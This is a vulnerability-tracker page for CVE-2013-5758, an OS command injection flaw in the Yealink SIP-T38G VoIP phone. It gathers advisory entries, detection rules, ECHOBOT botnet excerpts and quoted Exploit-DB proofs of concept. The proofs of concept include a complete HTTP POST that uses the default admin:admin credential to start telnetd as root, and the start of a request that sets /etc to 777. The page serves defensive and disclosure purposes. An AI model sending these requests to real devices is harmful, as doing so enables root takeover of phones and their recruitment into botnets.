CVE-2013-5758
published 2014-08-03CVE-2013-5758: cgi-bin/cgiServer.exx in Yealink VoIP Phone SIP-T38G allows remote authenticated users to execute arbitrary commands by calling the system method in the body…
PriorityP272critical9CVSS 2.0
AVNACLAuSCCICAC
ITWEXPLOITVulnCheck KEV
Exploited in the wild
EPSS
11.89%
95.6th percentile
cgi-bin/cgiServer.exx in Yealink VoIP Phone SIP-T38G allows remote authenticated users to execute arbitrary commands by calling the system method in the body of a request, as demonstrated by running unauthorized services, changing directory permissions, and modifying files.
Detection & IOCsextracted from sources · hover to see the quote
- →Detect POST requests to /cgi-bin/cgiServer.exx containing 'system(' in the request body, which indicates attempted OS command injection via the system method. ↗
- →Alert on HTTP requests to /cgi-bin/cgiServer.exx with body content matching 'system("/bin/busybox' — specifically for telnetd startup or chmod -R 777 payloads. ↗
- →Flag use of the default Base64-encoded credential 'YWRtaW46YWRtaW4=' (admin:admin) in Authorization headers targeting Yealink SIP-T38G devices. ↗
- →Monitor for unexpected telnetd processes or open telnet ports on Yealink VoIP devices, as exploitation starts an unauthorized telnetd service. ↗
- ·Exploitation requires valid (but potentially default) credentials; the default admin:admin credential (Base64: YWRtaW46YWRtaW4=) is referenced as the attack vector, meaning unauthenticated exploitation is not directly possible without CVE-2013-5755 credential exposure. ↗
- ·The cgiServer.exx process runs under root privileges, meaning any command injected via the system() method executes with full root access on the device. ↗
CVSS provenance
nvdv2.09.0CRITICALAV:N/AC:L/Au:S/C:C/I:C/A:C
vulncheck9.0CRITICAL
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
GHSA
GHSA-m4jr-2x8w-p434: cgi-bin/cgiServer
ghsa_unreviewed·2022-05-17
CVE-2013-5758 [HIGH] CWE-78 GHSA-m4jr-2x8w-p434: cgi-bin/cgiServer
cgi-bin/cgiServer.exx in Yealink VoIP Phone SIP-T38G allows remote authenticated users to execute arbitrary commands by calling the system method in the body of a request, as demonstrated by running unauthorized services, changing directory permissions, and modifying files.
VulnCheck
Yealink sip-t38g Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
vulncheck·2013·CVSS 9.0
CVE-2013-5758 [CRITICAL] Yealink sip-t38g Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Yealink sip-t38g Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
cgi-bin/cgiServer.exx in Yealink VoIP Phone SIP-T38G allows remote authenticated users to execute arbitrary commands by calling the system method in the body of a request, as demonstrated by running unauthorized services, changing directory permissions, and modifying files.
Affected: Yealink sip-t38g
Required Action: Apply remediations or mitigations per vendor instructions or discontinue use of the product if remediation or mitigations are unavailable.
Exploitation References: https://www.akamai.com/blog/security/latest-echobot-26-infection-vectors; https://www.researchgate.net/publication/348602660_An_analysis_of_the_use_of_CVEs_by_IoT_malware
No detection rules found.
Exploit-DB
Yealink VoIP Phone SIP-T38G - Remote Command Execution
exploitdb·2014-06-13·CVSS 10.0
CVE-2013-5759 [CRITICAL] Yealink VoIP Phone SIP-T38G - Remote Command Execution
Yealink VoIP Phone SIP-T38G - Remote Command Execution
---
Title: Yealink VoIP Phone SIP-T38G Remote Command Execution
Author: Mr.Un1k0d3r & Doreth.Z10 From RingZer0 Team
Vendor Homepage: http://www.yealink.com/Companyprofile.aspx
Version: VoIP Phone SIP-T38G
CVE: CVE-2013-5758
Description:
Using cgiServer.exx we are able to send OS command using the system
function.
POC:
POST /cgi-bin/cgiServer.exx HTTP/1.1
Host: 10.0.75.122
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46YWRtaW4= (Default Creds CVE-2013-5755)
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
system("/bin/busybox%20telnetd%20start")
--
*Mr.Un1k0d3r** or 1 #*
Exploit-DB
Yealink VoIP Phone SIP-T38G - Privilege Escalation
exploitdb·2014-06-13·CVSS 9.0
CVE-2013-5759 [CRITICAL] Yealink VoIP Phone SIP-T38G - Privilege Escalation
Yealink VoIP Phone SIP-T38G - Privilege Escalation
---
Title: Yealink VoIP Phone SIP-T38G Privileges Escalation
Author: Mr.Un1k0d3r & Doreth.Z10 From RingZer0 Team
Vendor Homepage: http://www.yealink.com/Companyprofile.aspx
Version: VoIP Phone SIP-T38G
CVE: CVE-2013-5759
Description:
Using the fact that cgiServer.exx run under the root privileges we use the
command execution (CVE-2013-5758) to modify the system file restriction.
Then we add extra privileges to the guest account.
POC:
Step 1 - Changing /etc folder right to 777:
POST /cgi-bin/cgiServer.exx HTTP/1.1
Host: 10.0.75.122
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46YWRtaW4=
Connection: keep-alive
Content-T
Unit42
Mirai Variant ECHOBOT Resurfaces with 13 Previously Unexploited Vulnerabilities
blogs_unit42·2019-12-13
Mirai Variant ECHOBOT Resurfaces with 13 Previously Unexploited Vulnerabilities
Threat Research Center
Threat Research
Malware
## Mirai Variant ECHOBOT Resurfaces with 13 Previously Unexploited Vulnerabilities
Ruchna Nigam
Published: December 13, 2019
Malware
Threat Research
Vulnerabilities
Echobot
IoT
IoT Vulnerability
Mirai
Mirai variant
## Executive Summary
Since the discovery of the Mirai variant using the binary name ECHOBOT in May 2019, it has resurfaced from time to time, using new infrastructure, and more remarkably, adding to the list of vulnerabilities it scans for, as a means to increase its attack surface with each evolution.
Unlike other Mirai variants, this particular variant stands out for the sheer number of exploits it incorporates, with the latest version having a total of 71 unique exploits, 13 of which haven’t been seen exploite
Unit42
Mirai Variant ECHOBOT Resurfaces with 13 Previously Unexploited Vulnerabilities
blogs_unit42·2019-12-13
Mirai Variant ECHOBOT Resurfaces with 13 Previously Unexploited Vulnerabilities
## Executive Summary
Since the discovery of the Mirai variant using the binary name ECHOBOT in May 2019, it has resurfaced from time to time, using new infrastructure, and more remarkably, adding to the list of vulnerabilities it scans for, as a means to increase its attack surface with each evolution.
Unlike other Mirai variants, this particular variant stands out for the sheer number of exploits it incorporates, with the latest version having a total of 71 unique exploits, 13 of which haven’t been seen exploited in the wild until now, ranging from extremely old CVEs from as long back as 2003, to recent vulnerabilities made public as recently as early December 2019. Based on this seemingly odd choice, one could risk a guess that the attackers could potentially be aiming for the sweet sp
http://packetstormsecurity.com/files/127093/Yealink-VoIP-Phone-SIP-T38G-Privilege-Escalation.htmlhttp://packetstormsecurity.com/files/127096/Yealink-VoIP-Phone-SIP-T38G-Remote-Command-Execution.htmlhttp://www.exploit-db.com/exploits/33741http://www.exploit-db.com/exploits/33742http://www.osvdb.org/108080http://packetstormsecurity.com/files/127093/Yealink-VoIP-Phone-SIP-T38G-Privilege-Escalation.htmlhttp://packetstormsecurity.com/files/127096/Yealink-VoIP-Phone-SIP-T38G-Remote-Command-Execution.htmlhttp://www.exploit-db.com/exploits/33741http://www.exploit-db.com/exploits/33742http://www.osvdb.org/108080
2014-08-03
Published
Exploited in the wild